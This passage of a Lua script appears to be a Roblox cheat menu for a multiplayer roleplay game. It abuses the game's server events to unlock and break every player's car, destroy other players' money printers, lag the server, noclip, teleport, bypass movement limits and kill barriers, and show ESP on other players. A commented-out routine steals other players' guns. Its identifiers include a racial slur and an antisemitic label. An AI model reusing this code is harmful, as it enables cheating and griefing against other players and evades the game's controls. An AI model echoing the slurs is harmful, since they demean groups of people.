Visualsw.Dropdown("Weather",{"Day","Evening","Rain","Snowstorm","War","Morning","Night"},function(a) sendnotification("Weather - "..a) if a == "Day" then game.Lighting.Condition.Value = "Day" game:GetService("Lighting").SunRays.Intensity = 0.25 game:GetService("Lighting").SunRays.Spread = 1 game:GetService("Lighting").Bloom.Intensity = 0.4 game:GetService("Lighting").Sky.SkyboxBk = "rbxassetid://501313206" game:GetService("Lighting").Sky.SkyboxDn = "rbxassetid://501313275" game:GetService("Lighting").Sky.SkyboxFt = "rbxassetid://501313069" game:GetService("Lighting").Sky.SkyboxLf = "rbxassetid://501313144" game:GetService("Lighting").Sky.SkyboxRt = "rbxassetid://501313033" game:GetService("Lighting").Sky.SkyboxUp = "rbxassetid://489495183" game:GetService("Lighting").Brightness = 1.85 game:GetService("Lighting").FogColor = Color3.fromRGB(255, 247, 234) game:GetService("Lighting").OutdoorAmbient = Color3.fromRGB(185, 178, 167) game:GetService("Lighting").FogEnd = 7000 game:GetService("Lighting").FogStart = 0 game:GetService("Lighting").GeographicLatitude = 13 elseif a == "Evening" then game.Lighting.Condition.Value = "Night" game:GetService("Lighting").SunRays.Intensity = 0.25 game:GetService("Lighting").SunRays.Spread = 1 game:GetService("Lighting").Bloom.Intensity = 0.4 game:GetService("Lighting").Sky.SkyboxBk = "rbxassetid://271042516" game:GetService("Lighting").Sky.SkyboxDn = "rbxassetid://271077243" game:GetService("Lighting").Sky.SkyboxFt = "rbxassetid://271042556" game:GetService("Lighting").Sky.SkyboxLf = "rbxassetid://271042310" game:GetService("Lighting").Sky.SkyboxRt = "rbxassetid://271042467" game:GetService("Lighting").Sky.SkyboxUp = "rbxassetid://271077958" game:GetService("Lighting").Brightness = 0.7 game:GetService("Lighting").FogColor = Color3.fromRGB(253, 198, 189) game:GetService("Lighting").OutdoorAmbient = Color3.fromRGB(124, 92, 114) game:GetService("Lighting").GeographicLatitude = 13 game:GetService("Lighting").FogEnd = 7000 game:GetService("Lighting").FogStart = 0 elseif a == "Rain" then game.Lighting.Condition.Value = "Rain" game:GetService("Lighting").SunRays.Intensity = 0.25 game:GetService("Lighting").SunRays.Spread = 1 game:GetService("Lighting").Bloom.Intensity = 0.4 game:GetService("Lighting").Sky.SkyboxBk = "rbxassetid://931421737" game:GetService("Lighting").Sky.SkyboxDn = "rbxassetid://931421868" game:GetService("Lighting").Sky.SkyboxFt = "rbxassetid://931421587" game:GetService("Lighting").Sky.SkyboxLf = "rbxassetid://931421672" game:GetService("Lighting").Sky.SkyboxRt = "rbxassetid://931421501" game:GetService("Lighting").Sky.SkyboxUp = "rbxassetid://931421803" game:GetService("Lighting").Brightness = 0 game:GetService("Lighting").FogColor = Color3.fromRGB(193, 193, 193) game:GetService("Lighting").OutdoorAmbient = Color3.fromRGB(195, 195, 195) game:GetService("Lighting").GeographicLatitude = 337 game:GetService("Lighting").FogEnd = 300 elseif a == "Snowstorm" then game.Lighting.Condition.Value = "Snowstorm" game:GetService("Lighting").SunRays.Intensity = 0.25 game:GetService("Lighting").SunRays.Spread = 1 game:GetService("Lighting").Bloom.Intensity = 0.4 game:GetService("Lighting").Sky.SkyboxBk = "rbxassetid://931421737" game:GetService("Lighting").Sky.SkyboxDn = "rbxassetid://931421868" game:GetService("Lighting").Sky.SkyboxFt = "rbxassetid://931421587" game:GetService("Lighting").Sky.SkyboxLf = "rbxassetid://931421672" game:GetService("Lighting").Sky.SkyboxRt = "rbxassetid://931421501" game:GetService("Lighting").Sky.SkyboxUp = "rbxassetid://931421803" game:GetService("Lighting").Brightness = 0 game:GetService("Lighting").FogColor = Color3.fromRGB(193, 193, 193) game:GetService("Lighting").OutdoorAmbient = Color3.fromRGB(195, 195, 195) game:GetService("Lighting").GeographicLatitude = 13 elseif a == "War" then game.Lighting.Condition.Value = "Rain" game:GetService("Lighting").SunRays.Intensity = 0.25 game:GetService("Lighting").SunRays.Spread = 1 game:GetService("Lighting").Bloom.Intensity = 0.4 game:GetService("Lighting").Sky.SkyboxBk = "rbxassetid://2506974318" game:GetService("Lighting").Sky.SkyboxDn = "rbxassetid://2506974575" game:GetService("Lighting").Sky.SkyboxFt = "rbxassetid://2506974238" game:GetService("Lighting").Sky.SkyboxLf = "rbxassetid://2506974390" game:GetService("Lighting").Sky.SkyboxRt = "rbxassetid://2506974153" game:GetService("Lighting").Sky.SkyboxUp = "rbxassetid://2506974467" game:GetService("Lighting").Brightness = 0 game:GetService("Lighting").FogColor = Color3.fromRGB(145, 144, 138) game:GetService("Lighting").OutdoorAmbient = Color3.fromRGB(118, 115, 113) game:GetService("Lighting").GeographicLatitude = 13 game:GetService("Lighting").FogEnd = 7000 game:GetService("Lighting").FogStart = 0 elseif a == "Morning" then game.Lighting.Condition.Value = "Night" game:GetService("Lighting").SunRays.Intensity = 0.25 game:GetService("Lighting").SunRays.Spread = 1 game:GetService("Lighting").Bloom.Intensity = 0.4 game:GetService("Lighting").Sky.SkyboxBk = "rbxassetid://253027015" game:GetService("Lighting").Sky.SkyboxDn = "rbxassetid://253027058" game:GetService("Lighting").Sky.SkyboxFt = "rbxassetid://253027039" game:GetService("Lighting").Sky.SkyboxLf = "rbxassetid://253027029" game:GetService("Lighting").Sky.SkyboxRt = "rbxassetid://253026999" game:GetService("Lighting").Sky.SkyboxUp = "rbxassetid://253027050" game:GetService("Lighting").Brightness = 0.25 game:GetService("Lighting").FogColor = Color3.fromRGB(81, 107, 112) game:GetService("Lighting").OutdoorAmbient = Color3.fromRGB(35, 45, 61) game:GetService("Lighting").GeographicLatitude = 13 game:GetService("Lighting").FogEnd = 7000 game:GetService("Lighting").FogStart = 0 elseif a == "Night" then game.Lighting.Condition.Value = "Night" game:GetService("Lighting").SunRays.Intensity = 0.04 game:GetService("Lighting").SunRays.Spread = 1.2 game:GetService("Lighting").Bloom.Intensity = 0.4 game:GetService("Lighting").Sky.SkyboxBk = "rbxassetid://2695798966" game:GetService("Lighting").Sky.SkyboxDn = "rbxassetid://213221473" game:GetService("Lighting").Sky.SkyboxFt = "rbxassetid://220789557" game:GetService("Lighting").Sky.SkyboxLf = "rbxassetid://220789543" game:GetService("Lighting").Sky.SkyboxRt = "rbxassetid://220789524" game:GetService("Lighting").Sky.SkyboxUp = "rbxassetid://220789575" game:GetService("Lighting").Brightness = 0 game:GetService("Lighting").FogColor = Color3.fromRGB(31, 46, 75) game:GetService("Lighting").OutdoorAmbient = Color3.fromRGB(33, 40, 61) game:GetService("Lighting").GeographicLatitude = 13 game:GetService("Lighting").FogEnd = 7000 game:GetService("Lighting").FogStart = 0 end end) Visualsw.Label("Cars") Visualsw.Button("Unlock All Cars", function() for i, v in ipairs(game:GetService("Workspace").Vehicles:GetChildren()) do v.TrueOwner.Locked.Value = false end sendnotification("Unlocked all cars") end) Visualsw.Button("Break All Cars", function() oldpos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame for i,v in ipairs(game:GetService("Workspace").Vehicles:GetChildren()) do v.TrueOwner.Locked.Value = false Tween(v:GetModelCFrame(), .1) game:GetService("ReplicatedStorage").Events.InteractEvent:FireServer(v:FindFirstChild("VehicleSeat")) LocalPlayer.Character:FindFirstChild("Humanoid").Sit = false wait(.2) end LocalPlayer.Character.Humanoid.Sit = false Tween(oldpos, .4) sendnotification("Broke all cars") end) Visualsw.Label("ESPs") Visualsw.Dropdown(var.tracertype or "Tracer Type",{"Bottom","Mouse"},function(a) var.tracertype = a end) Visualsw.Toggle("Chams",var.Chams,function(a) togglenote("Chams",a) if a then for i,v in ipairs(chams:GetChildren()) do v.Visible = true end else for i,v in ipairs(chams:GetChildren()) do v.Visible = false end end end) Visualsw.Toggle("Tracers",var.Tracers,function(a) var.Tracers = a togglenote("Tracers",var.Tracers) end) Visualsw.Toggle("Player ESP",var.playeresp,function(a) togglenote("Player ESP",a) var.playeresp = a if a then for i,v in ipairs(Players:GetPlayers()) do enesp(v.Character,true) v.CharacterAdded:Connect(function() enesp(v.Character,true) end) end else for i,v in pairs(chams:GetDescendants()) do if v.Name == "player" then v:Destroy() end end end end) Visualsw.Slider("Player ESP Size",1,100,var.playerespsize,false,function(a) var.playerespsize = a end) Visualsw.Toggle("Entity ESP",var.entesp,function(a) togglenote("Entity ESP",a) var.entesp = a if a then for i,v in pairs(game:GetService("Workspace").Entities:GetChildren()) do enesp(v) end for i,v in pairs(game:GetService("Workspace").Buildings:GetDescendants()) do if v.Name:find("Banker") then enesp(v) end end else for i,v in pairs(chams:GetDescendants()) do if v.Name == "entity" then v:Destroy() end end end end) Visualsw.Slider("Entity ESP Size",1,100,var.etnespsize,false,function(a) var.etnespsize = a end) Visualsw.Toggle("Money Printer ESP",var.printeresp,function(a) togglenote("Money Printer ESP",a) var.printeresp = a if a then for i,v in pairs(game:GetService("Workspace").MoneyPrinters:GetChildren()) do enesp(v) end else for i,v in pairs(chams:GetDescendants()) do if v.Name == "printer" then v:Destroy() end end end end) Visualsw.Slider("Money Printer ESP Size",1,100,var.printespsize,false,function(a) var.printespsize = a end) Visualsw.Toggle("Material ESP",var.matesp,function(a) togglenote("Material ESP",a) var.matesp = a if a then for i,v in pairs(game:GetService("Workspace").Materials:GetChildren()) do enesp(v) end else for i,v in pairs(chams:GetDescendants()) do if v.Name == "material" then v:Destroy() end end end end) Visualsw.Slider("Material ESP Size",1,100,var.matespsize,false,function(a) var.matespsize = a end) Visualsw.Toggle("Vehicle ESP",var.caresp,function(a) togglenote("Vehicle ESP",a) var.caresp = a if a then for i,v in pairs(game:GetService("Workspace").Vehicles:GetChildren()) do enesp(v) end else for i,v in pairs(chams:GetDescendants()) do if v.Name == "vehicle" then v:Destroy() end end end end) Visualsw.Slider("Vehicle ESP Size",1,100,var.carespsize,false,function(a) var.carespsize = a end) Visualsw.Toggle("Loot Crate ESP",var.lootesp,function(a) togglenote("Loot Crate ESP",a) var.lootesp = a if a then for i,v in pairs(game:GetService("Workspace").Loot:GetChildren()) do enesp(v) end else for i,v in pairs(chams:GetDescendants()) do if v.Name == "loot" then v:Destroy() end end end end) Visualsw.Slider("Loot Crate ESP Size",1,100,var.lootespsize,false,function(a) var.lootespsize = a end) Visualsw.Label("World") Visualsw.Toggle("Bypass Kill Barriers",var.DB,function(a) var.DB = a togglenote("Bypass Kill Barriers",var.DB) if a then game:GetService("Workspace").FallenPartsDestroyHeight = -math.huge else game:GetService("Workspace").FallenPartsDestroyHeight = 0 end end) Visualsw.Toggle("Anti NLR",var.AntiNlr,function(a) var.AntiNlr = a togglenote("Anti NLR",var.AntiNlr) if a and game:GetService("Workspace"):FindFirstChild("NL") then game:GetService("Workspace"):FindFirstChild("NL"):Destroy() end end) Visualsw.Toggle("Anti Spy",var.antispy,function(a) var.antispy = a togglenote("Anti Spy",var.antispy) end) Visualsw.Toggle("Anti Car",var.AntiCar,function(a) var.AntiCar = a togglenote("Anti Car",var.AntiCar) for i,v in pairs(game:GetService("Workspace"):WaitForChild("Vehicles"):GetChildren()) do if a then v:Destroy() end end end) Visualsw.Label("Farms") Visualsw.Toggle("Material Farm",false,function(a) var.materialfarm = a togglenote("Material Farm",var.materialfarm) coroutine.wrap(function() if a then for i,v in pairs(game:GetService("Workspace").Materials:GetChildren()) do if var.materialfarm then v:FindFirstChild("TrueOwner"):FindFirstChild('Locked').Value = false Tween(v:GetPivot(), .3) wait(.1) game:GetService("ReplicatedStorage").Events.PickUpEvent:FireServer(v,true) for i2,v2 in pairs(game:GetService("Workspace").Buildings:GetDescendants()) do if v2.Name:find("Cargo Station") then wait(.1) game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(41,v2,v) end end end end end end)() end) Visualsw.Toggle("Destroy Printers Farm",false,function(a) var.dpfarm = a togglenote("Destroy Printers Farm",var.dpfarm) coroutine.wrap(function() if a then for i,v in pairs(game.Workspace.MoneyPrinters:GetChildren()) do if var.dpfarm and v:IsA("Model") and v ~= nil and v:FindFirstChild("Int") and v:FindFirstChild("Int"):FindFirstChild("Uses").Value ~= 0 then if LocalPlayer.Job.Value ~= "Soldier" and var.dpfarm then game:GetService("ReplicatedStorage").Events.MenuEvent:FireServer(1, "Soldier") wait(1) game:GetService("Workspace"):WaitForChild(LocalPlayer.Name) end if LocalPlayer.Job.Value == "Soldier" and not huntingp then huntingp = true Tween(v:GetPivot(), 1) wait(1.5) game:GetService("ReplicatedStorage").Events.ToolsEvent:FireServer(11,v) end huntingp = false wait(8) end end end end)() end) --Visualsw.Toggle("Item Grabber",false,function(a) -- var.IG = a -- togglenote("Item Grabber",var.IG) -- coroutine.wrap(function() -- if a then -- for i,v in pairs(game:GetService("Workspace").Entities:GetChildren()) do -- local oldpos, olddb, oldnoclip, oldoutfit, oldname = LocalPlayer.Character:GetPivot(), var.DB, var.noclip, LocalPlayer.PlayerData.Outfit.Value, LocalPlayer.PlayerData.RoleplayName.Value -- local gr = {"InventoryEvent","InteractEvent"} -- if v.Name == "Gun" and v:FindFirstChildWhichIsA("MeshPart") and v:FindFirstChildWhichIsA("MeshPart").Name ~= "Box" and var.IG and not Stealing then -- Stealing = true -- game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(8,{"","4794183296.25766207,5359864810.51598825,4820468847.226025088,5063806496.4529381645,5343165623,23390449,3810504815.4650150168,4785505852.154987779,4785505852.1381672312",true}) -- local m -- m = workspace.Entities.ChildRemoved:Connect(function(gm) -- if gm == v then -- notnil = true -- end -- end) -- var.DB = true -- var.noclip = true -- Tween(CFrame.new(0,-.3,0)*v:GetPivot()*CFrame.Angles(0,math.rad(90),0),.1) -- wait(.13) -- repeat wait() -- var.DB = true -- var.noclip = true -- Tween(CFrame.new(0,-.3,0)*v:GetPivot()*CFrame.Angles(0,math.rad(90),0),0.03) -- wait(.05) -- if LocalPlayer.PlayerGui.Client.Inventory.Slots.Amt.Text == "11/10" then -- game:GetService("ReplicatedStorage").Events.InteractEvent:FireServer(v) -- else -- game:GetService("ReplicatedStorage").Events.InventoryEvent:FireServer(2,v) -- end --until not notnil or not var.IG -- game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(8,{oldname,oldoutfit,true}) -- notnil = false -- Stealing = false -- Tween(oldpos,.1) -- var.DB, var.noclip = olddb, oldnoclip -- end -- end -- end --end)() --end) -- LocalPlayer local VisualsTab = Main.SideTab("LocalPlayer",1.90) local jew = VisualsTab.Section("LocalPlayer") jew.Button("Store all items",function() local floormat = LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid").FloorMaterial local char = LocalPlayer.Character local bp = LocalPlayer.Backpack local function store() if char:FindFirstChildWhichIsA"Tool" then char:FindFirstChildWhichIsA("Tool").Parent = bp end for i,v in pairs(bp:GetChildren()) do if v:IsA("Tool") then v.Parent = char if tonumber(LocalPlayer.PlayerGui.Client.Inventory.Slots.Amt.Text:split("/")[1]) < 11 then if not v.Name:find("[PERM]") and not v.Name:find("["..LocalPlayer.Job.Value.."]") then game:GetService("ReplicatedStorage").Events.InventoryEvent:FireServer(1) for i,v2 in pairs(workspace.Entities:GetChildren()) do if v2.Name == "Gun" and v:WaitForChild("ToolOwner").Value == LocalPlayer then game:GetService("ReplicatedStorage").Events.InventoryEvent:FireServer(2,v2) end end end else senderror("Inventory full cannot store") break end end end end if IsValid(LocalPlayer) then if char:FindFirstChildWhichIsA("Tool") or bp:FindFirstChildWhichIsA("Tool") then if floormat ~= Enum.Material.Air and floormat ~= nil then store() else Tween(CFrame.new(175.157059, 192.564041, 107.367134, -0.385550529, 2.11825009e-05, -0.922686636, 1.28792203e-06, 1, 2.24192463e-05, 0.922686636, 7.45540319e-06, -0.385550529),.5) wait(.55) store() end else senderror("Must have item(s)") end else senderror("Must be alive") end end) jew.Button("Invisible Jetpack", function() jet() sendnotification("Equipped Invisible Jet") end) jew.Toggle("Auto Invisible Jet",var.autoinvisjet,function(a) var.autoinvisjet = a togglenote("Auto Invisible Jet",var.autoinvisjet) if a and not LocalPlayer.Character:FindFirstChild("Util"):FindFirstChild("Jetpack") then jet() end end) jew.Toggle("Infinite Hunger",var.infhunger,function(a) var.infhunger = a togglenote("Infinite Hunger",var.infhunger) if a then var.oldhunger = LocalPlayer.PlayerData.Hunger.Value LocalPlayer.PlayerData.Hunger.Value = 99 else LocalPlayer.PlayerData.Hunger.Value = var.oldhunger end end) jew.Toggle("Instant Lockpick",var.instalockpick,function(a) var.instalockpick = a togglenote("Instant Lockpick",var.instalockpick) end) jew.Toggle("Instant Drink",var.instadrink,function(a) var.instadrink = a togglenote("Instant Drink",var.instadrink) end) jew.Toggle("Anti Clown",var.anticlown,function(a) var.anticlown = a togglenote("Anti Clown",var.anticlown) end) jew.Toggle("Anti Crash",var.AntiLag,function(a) var.AntiLag = a togglenote("Anti Crash",var.AntiLag) end) jew.Button("Spy Watch Bypass",function() if LocalPlayer.Backpack:FindFirstChild("Spy Watch") then LocalPlayer.Backpack:FindFirstChild("Spy Watch").Parent = LocalPlayer.Character end wait(.1) if LocalPlayer.Character:FindFirstChild("Spy Watch") then game:GetService("ReplicatedStorage").Events.ToolsEvent:FireServer(16, true, LocalPlayer.Character:WaitForChild("Spy Watch")) sendnotification("Spy Watch Bypass Activated") else senderror("You need a spy watch") end end) jew.Button("Drink All Cola", function() for i,v in ipairs(LocalPlayer.Backpack:GetChildren()) do if v.Name:find("Cola") then game:GetService("ReplicatedStorage").Events.ToolsEvent:FireServer(4,v) end end for i,v in ipairs(LocalPlayer.Character:GetChildren()) do if v.Name:find("Cola") then game:GetService("ReplicatedStorage").Events.ToolsEvent:FireServer(4,v) end end sendnotification("Drank All Cola") end) jew.Button("Hide Jobtag", function() if not IsSemiGodded(LocalPlayer) then LocalPlayer.Character:FindFirstChild("NameTag").Job:Destroy() end sendnotification("Hid Jobtag") end) jew.Label("Lag Client") jew.Toggle("Lag",var.lag,function(a) var.lag = a togglenote("Lag",var.lag) end) jew.Slider("Lag Amount",1,5000,var.laga,true,function(a) var.laga = a end) jew.KeyBind("Lag Keybind",var.lagbind,function(a) var.lagbind = a end) jew.Label("Godding") jew.Button("Semi God",function() semigod() sendnotification("Semi Godded") end) jew.Toggle("Auto Semi God",var.ASG,function(a) var.ASG = a togglenote("Auto Semi God",var.ASG) if a and LocalPlayer.Character:WaitForChild("Humanoid").Health <= var.asghealth then semigod() end end) jew.Slider("Auto Semi God Health",1,100,var.asghealth,true,function(a) var.asghealth = a if var.ASG and LocalPlayer.Character:WaitForChild("Humanoid").Health <= a then semigod() end end) -- Teleports local tps = { CFrame.new(1175.8155517578, 295.88626098633, -2039.1275634766); CFrame.new(-1189.3514404297, 126.02531433105, 98.057037353516); CFrame.new(-634.21105957031, 183.02993774414, -1765.4357910156); CFrame.new(1602.0971679688, 259.73001098633, 742.41296386719); CFrame.new(-313.63897705078, 153.65187072754, -148.57489013672); } local Movementtab = Main.SideTab("Movement",3.4) local nigger = Movementtab.Section("Teleports") nigger.Toggle("Click Teleport",var.Clicktp,function(a) var.Clicktp = a togglenote("Click Teleport",var.Clicktp) end) nigger.KeyBind("Click Teleport Keybind",var.ctpbind,function(a) var.ctpbind = a end) nigger.Toggle("Died Teleport",var.diedtp,function(a) var.diedtp = a togglenote("Died Teleport",var.diedtp) end) nigger.Dropdown("Teleport to Location",{"Vine Yard","RyIock's Scrapyard","Flinkton","Repconn","Town"},function(a) if a == "Vine Yard" then Tween(tps[1], 1) elseif a == "RyIock's Scrapyard" then Tween(tps[2], 1) elseif a == "Flinkton" then Tween(tps[3], 1) elseif a == "Repconn" then Tween(tps[4], 1) elseif a == "Town" then Tween(tps[5], 1) end wait(1) sendnotification("Arrived at "..a) end) nigger.Button("Surprise Me!", function() Tween(tps[math.random(1, #tps)], 1) sendnotification("Arrived at a random place") end) nigger.Label("Movement") nigger.Toggle("CFrame Walkspeed",var.Walkspeed,function(a) var.Walkspeed = a togglenote("Walkspeed",var.Walkspeed) end) nigger.Slider("CFrame Walk Speed",0,30,var.walkspeeds,true,function(a) var.walkspeeds = a end) nigger.KeyBind("CFrame Walkspeed Keybind",var.WalkspeedBind,function(a) var.WalkspeedBind = a end) nigger.Toggle("Walkspeed",var.wsbypass,function(a) var.wsbypass = a togglenote("Walkspeed",var.wsbypass) if a then bodymods() else LocalPlayer.Character:FindFirstChild("Humanoid").WalkSpeed = 16 end end) nigger.Slider("Walk Speed",0,1000,var.bypassws,false,function(a) var.bypassws = a end) nigger.Toggle("Jump Power",var.jpbypass,function(a) var.jpbypass = a togglenote("Jump Power",var.jpbypass) if a then bodymods() else LocalPlayer.Character:FindFirstChild("Humanoid").JumpPower = 50 end end) nigger.Slider("Jump Power",0,1000,var.bypassjp,false,function(a) var.bypassjp = a end) nigger.Toggle("Infinite Jump",var.infjump,function(a) var.infjump = a togglenote("Infinite Jump",var.infjump) end) nigger.Toggle("Fly Jump",var.flyjump,function(a) var.flyjump = a togglenote("Fly Jump",var.flyjump) end) nigger.Label("Noclips") nigger.Toggle("No Collisions",var.nocol,function(a) var.nocol = a togglenote("No Collisions",var.nocol) end) nigger.Toggle("Noclip",var.noclip1,function(a) var.noclip1 = a togglenote("Noclip",var.noclip1) if not a then var.noclip = false end end) nigger.KeyBind("Noclip Key",var.nckey,function(a) var.nckey = a end) nigger.Label("Animations") nigger.Dropdown("Animation",{"Lay","Chicken Dance","Sit","Fighting","Yawn","Dead Inside","Look Around","Agree","Bored","Dealing","Waving","Woozy"},function(a) for i,v in ipairs(game:GetService("ReplicatedStorage"):WaitForChild("Animations"):WaitForChild("WheelAnims"):GetChildren()) do if a == v.Name then LocalPlayer.Character.Humanoid:LoadAnimation(v):Play() end end end) nigger.Button("Stop Animation",function() for i,v in ipairs(LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()) do v:Stop() end end) nigger.Slider("Animation Speed",0,200,var.animspeed,false,function(a) var.animspeed = a end) nigger.Button("Apply Animation Speed",function() for i,v in ipairs(LocalPlayer.Character.Humanoid:GetPlayingAnimationTracks()) do v:AdjustSpeed(var.animspeed) end sendnotification("Modded your Animation Speed") end) local build = Main.SideTab("Buildings",5) local bu = build.Section("RGB Signs") bu.Box("Billboard Text","Text",function(a) var.text = a end) bu.Slider("RGB Increment Speed",0,100,var.increment,true,function(a) var.increment = a end) bu.Button("Click RGB Sign",function() local mouse = LocalPlayer:GetMouse() local a local j j = mouse.Button1Down:Connect(function() if mouse.Target ~= nil and mouse.Target.Parent.Name:find("Billboard") and mouse.Target:GetFullName():find("Buildings."..LocalPlayer.Name) then local tar = mouse.Target.Parent local te = var.text a = game:GetService("RunService").Stepped:Connect(function() pcall(function() if not tar.Parent.Parent:FindFirstChild(LocalPlayer.Name) or not tar.Parent:FindFirstChild(tar.Name) then a:Disconnect() end end) game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(7, tar, {te, Color3.fromHSV(tick() % var.increment / var.increment, 1, 1)}) end) j:Disconnect() sendnotification("Made Sign RGB (Serversided)") end end) end) bu.Label("Tornodedo (thank poopis#1826 for helping)") bu.Slider("dis. subbed between mid & Edge",0,20,var.nsnodedistance or 0,false,function(a) var.nsnodedistance = a end) bu.Slider("Height Distance",1,20,var.nsangleamount or 4,false,function(a) var.nsangleamount = a end) bu.Slider("Prop per Row",1,20,var.nsoffsetamount or 2,false,function(a) var.nsoffsetamount = a/2 end) bu.Slider("Height",1,20,var.nsoffsetamount or 4,false,function(a) var.nsheight = a end) bu.Slider("Random Increment idfk",-20,20,var.nsoffsetamount or -6,false,function(a) var.nsincrement = a end) bu.Slider("Place Time",.25,20,var.nsspeed or .3,true,function(a) var.nsspeed = a end) bu.Button("Spin Node",function() local offsetamount = var.nsoffsetamount or 2 local heightamount = var.nsheightamount or 4 local increment = var.nsincrement or -6 local height = var.nsheight or 4 local angleamount = var.nsangleamount or 4 local nodedis = var.nsnodedistance or 0 local node = workspace.Buildings:FindFirstChild(LocalPlayer.Name) local center = node.Node:GetPivot() local offset = 0 local propamount = 0 while task.wait(var.nsspeed or .3) do if not workspace.Buildings:FindFirstChild(LocalPlayer.Name) or var.stopspin then break end local parts = node:GetChildren() local amount = #parts - 1 --cus oneof them is node object local ang = (360*angleamount) / amount local height = 30 / amount for i,v in pairs(parts) do if offset > #node:GetChildren() then offset = 0 end if v.Name ~= "Node" then local new = center * CFrame.Angles(0,math.rad(ang * (i + (offset*offsetamount))),0) new = (new + (new.LookVector * (amount - (nodedis)))) + Vector3.new(0,(height/heightamount) * (i*(increment)),0) game:GetService("ReplicatedStorage").Events.BuildingEvent:FireServer(5,v,new) offset += 1 end end end end) bu.Button("Stop spinning node",function() var.stopspin = true wait(var.nsspeed+2 or .5) var.stopspin = false end) bu.Label("Pre-Made Nodes") bu.Button("Clannie Shredder 9000",function() local buildevent = Game:GetService("ReplicatedStorage").Events.BuildingEvent local ingamematerials = {Enum.Material.Brick,Enum.Material.Cobblestone,Enum.Material.Concrete,Enum.Material.CorrodedMetal,Enum.Material.DiamondPlate,Enum.Material.Fabric,Enum.Material.Foil,Enum.Material.Glass,Enum.Material.Granite,Enum.Material.Grass,Enum.Material.Ice,Enum.Material.Marble,Enum.Material.Metal,Enum.Material.Pebble,Enum.Material.Plastic,Enum.Material.Sand,Enum.Material.Slate,Enum.Material.SmoothPlastic,Enum.Material.Wood,Enum.Material.WoodPlanks} if not game:GetService("Workspace").Buildings:FindFirstChild(LocalPlayer.Name) then buildevent:FireServer(1, "Node", LocalPlayer.Character:GetPivot()) end game:GetService("Workspace").Buildings:WaitForChild(LocalPlayer.Name).Node.PrimaryPart.Size = Vector3.new(50,50,50) buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1288.74048, 344.605164, -617.803284, 0.866040111, 0.499974549, -5.5283308e-06, 5.5283308e-06, -2.06232071e-05, -0.99999994, -0.499974549, 0.866040051, -2.06232071e-05))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1345.75488, 375.257538, -711.23053, -0.750030518, -0.499900341, 0.433074921, -0.50000608, -6.50882721e-05, -0.866021931, 0.432952851, -0.866082966, -0.249904394))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1330.66479, 340.822449, -719.940857, -0.433034182, -0.499921203, -0.750040054, 0.866027713, -5.24520874e-06, -0.499995947, 0.249954671, -0.866070867, 0.432947934))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1367.02356, 340.822449, -698.952271, -0.432947874, -0.499948561, 0.750071645, -0.866055071, -8.10623169e-05, -0.499948561, 0.250009388, -0.866055071, -0.432947874))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1330.66479, 340.822449, -719.940857, -0.866039991, -0.499974549, -5.5283308e-06, -5.5283308e-06, 2.06232071e-05, -0.99999994, 0.499974549, -0.866040051, -2.06232071e-05))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1330.66479, 340.822449, -719.940857, -0.750030637, -0.499926746, -0.433044404, 0.500032485, -4.06503677e-05, -0.866006672, 0.432922333, -0.866067708, 0.250010014))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1330.66479, 340.822449, -719.940857, -0.432947874, -0.499948561, 0.750071645, -0.866055071, -8.10623169e-05, -0.499948561, 0.250009388, -0.866055071, 